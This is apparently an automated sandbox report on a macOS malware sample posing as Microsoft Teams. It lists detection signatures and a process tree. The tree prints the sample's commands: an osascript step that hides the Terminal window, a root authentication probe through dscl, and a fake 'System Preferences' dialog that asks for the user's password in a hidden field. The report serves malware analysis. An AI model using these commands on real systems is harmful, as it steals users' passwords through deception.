Resubmissions

15/08/2026, 14:23

260815-rqendaywdx10

14/08/2026, 17:08

260814-vnpbkseq2x10

Analysis

  • max time kernel
    136s
  • max time network
    104s
  • platform
    macos-10.15_amd64
  • resource
    macos-20250619-en
  • resource tags

    arch:amd64arch:i386image:macos-20250619-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
  • submitted
    14/08/2026, 17:08

General

  • Target
    MicrosoftTeams/MicrosoftTeams
  • Size 897KB
  • Sample260814-vnpbkseq2x
  • SHA256 0ba94279ca60f4181cfe86b5951f8e5495b91a6738d212fc3ef7cff549a19bfd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Prompts the user for their password using a hidden input dialog 1 TTPs 2 IoCs

    Adversaries may mimic a system prompt to capture a user's password through a GUI dialog with masked input.

  • AppleScript 1 TTPs 4 IoCs

    AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.

Processes

  • /bin/sh
    sh -c "sudo /bin/zsh -c \"/Users/run/MicrosoftTeams/MicrosoftTeams\""
    1⤵
      PID:487
    • /bin/bash
      sh -c "sudo /bin/zsh -c \"/Users/run/MicrosoftTeams/MicrosoftTeams\""
      1⤵
        PID:487
      • /usr/bin/sudo
        sudo /bin/zsh -c /Users/run/MicrosoftTeams/MicrosoftTeams
        1⤵
          PID:487
          • /bin/zsh
            /bin/zsh -c /Users/run/MicrosoftTeams/MicrosoftTeams
            2⤵
              PID:488
            • /Users/run/MicrosoftTeams/MicrosoftTeams
              /Users/run/MicrosoftTeams/MicrosoftTeams
              2⤵
                PID:488
            • /bin/sh
              sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
              1⤵
                PID:489
              • /bin/bash
                sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
                1⤵
                  PID:489
                • /usr/bin/osascript
                  osascript -e "tell application \"Terminal\" to set visible of front window to false"
                  1⤵
                    PID:489
                  • /usr/libexec/xpcproxy
                    xpcproxy com.apple.Terminal.1804
                    1⤵
                      PID:490
                    • /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
                      /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
                      1⤵
                        PID:490
                        • /usr/bin/login
                          login -pf run
                          2⤵
                            PID:492
                            • /bin/zsh
                              -zsh
                              3⤵
                                PID:494
                                • /usr/libexec/path_helper
                                  /usr/libexec/path_helper -s
                                  4⤵
                                    PID:495
                                  • /usr/bin/locale
                                    locale LC_CTYPE
                                    4⤵
                                      PID:496
                              • /usr/libexec/xpcproxy
                                xpcproxy com.apple.AccountPolicyHelper
                                1⤵
                                  PID:493
                                • /System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper
                                  /System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper
                                  1⤵
                                    PID:493
                                  • /usr/libexec/xpcproxy
                                    xpcproxy com.apple.audio.AudioComponentRegistrar
                                    1⤵
                                      PID:503
                                    • /System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar
                                      /System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar -daemon
                                      1⤵
                                        PID:503
                                      • /bin/sh
                                        sh -c "mkdir /Users/root/1685112166"
                                        1⤵
                                          PID:542
                                        • /bin/bash
                                          sh -c "mkdir /Users/root/1685112166"
                                          1⤵
                                            PID:542
                                          • /bin/mkdir
                                            mkdir /Users/root/1685112166
                                            1⤵
                                              PID:542
                                            • /bin/sh
                                              sh -c "dscl /Local/Default -authonly root \"\""
                                              1⤵
                                                PID:543
                                              • /bin/bash
                                                sh -c "dscl /Local/Default -authonly root \"\""
                                                1⤵
                                                  PID:543
                                                • /usr/bin/dscl
                                                  dscl /Local/Default -authonly root
                                                  1⤵
                                                    PID:543
                                                  • /bin/sh
                                                    sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
                                                    1⤵
                                                      PID:544
                                                    • /bin/bash
                                                      sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
                                                      1⤵
                                                        PID:544
                                                      • /usr/bin/osascript
                                                        osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
                                                        1⤵
                                                          PID:544
                                                        • /usr/libexec/xpcproxy
                                                          xpcproxy com.apple.ViewBridgeAuxiliary
                                                          1⤵
                                                            PID:546
                                                          • /System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary
                                                            /System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary
                                                            1⤵
                                                              PID:546
                                                            • /usr/libexec/xpcproxy
                                                              xpcproxy com.apple.ReportMemoryException
                                                              1⤵
                                                                PID:547
                                                              • /usr/libexec/ReportMemoryException
                                                                /usr/libexec/ReportMemoryException
                                                                1⤵
                                                                  PID:547

                                                                Network

                                                                      MITRE ATT&CK Enterprise v16

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